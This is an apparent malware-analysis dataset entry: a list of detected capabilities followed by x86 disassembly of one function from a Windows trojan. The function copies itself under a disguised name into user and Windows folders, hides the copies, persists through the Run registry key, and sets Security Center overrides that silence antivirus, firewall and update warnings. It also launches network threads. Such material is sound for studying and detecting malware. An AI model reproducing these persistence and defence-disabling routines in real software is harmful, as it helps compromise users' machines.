Function at 0x407290
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbd0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.x99x998x7x
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa3c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4072ce
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x415e08
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x415e08
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x415e08
push 0x410014
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.winxsdrvcsa.exe
mov edx, dword [ebp - 0x210]
push edx
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x4074e6
call fcn.0040e400
movzx eax, al
cmp eax, 1
jne 0x40735d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0xa38]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.winxsdrvcsa.exe
lea edx, [ebp - 0xa38]
push edx
push 0x410058
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x418]
push ecx
push 0x415e08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40741c
push 3
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x41c]
push eax
push 0x20006
push 0
push 0x410078
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40741c
lea ecx, [ebp - 0x418]
push ecx
call sub.ntdll.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x418]
push eax
push 1
push 0
push str.Windows_Settings
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0x830]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.winxsdrvcsa.exe
lea ecx, [ebp - 0x830]
push ecx
push str._s_s
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x628]
push eax
push 0x415e08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4074e6
push 3
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x41c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4074e6
lea eax, [ebp - 0x628]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x628]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x41c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4075fd
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x410168
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41017c
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x410194
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4101a8
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x4101bc
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4101d4
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4101e4
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x41c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407709
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x41c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x41c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c4d0
movzx ecx, al
test ecx, ecx
je 0x407874
lea edx, [ebp - 0xbd0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa38]
push eax
push str._s_tbnds.dat
push 0x416018
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa38]
push ecx
push str._s_tbcmds.dat
push 0x4159f8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x405610
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406920
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x407170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405950
call fcn.0040d310
call fcn.00406d40
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x416a50], eax
call fcn.0040bc00
mov dword [0x416a58], eax
call fcn.0040ce00
mov dword [0x416a54], eax
call fcn.0040b000
push 0
push 0
push 0
push 0x40d2c0
push 0
mov edx, dword [0x416a54]
push edx
call fcn.0040ce30
add esp, 0x18
push 0
push 0
push 0
push 0x40d220
push 0
mov eax, dword [0x416a54]
push eax
call fcn.0040ce30
add esp, 0x18
push 0
push 0
push 0
push 0x40cc00
push 0
mov ecx, dword [0x416a54]
push ecx
call fcn.0040ce30
add esp, 0x18
push 0
push 0
push 0
push 0x40cbb0
push 0
mov edx, dword [0x416a54]
push edx
call fcn.0040ce30
add esp, 0x18
jmp 0x407878
xor eax, eax
mov esp, ebp
pop ebp
ret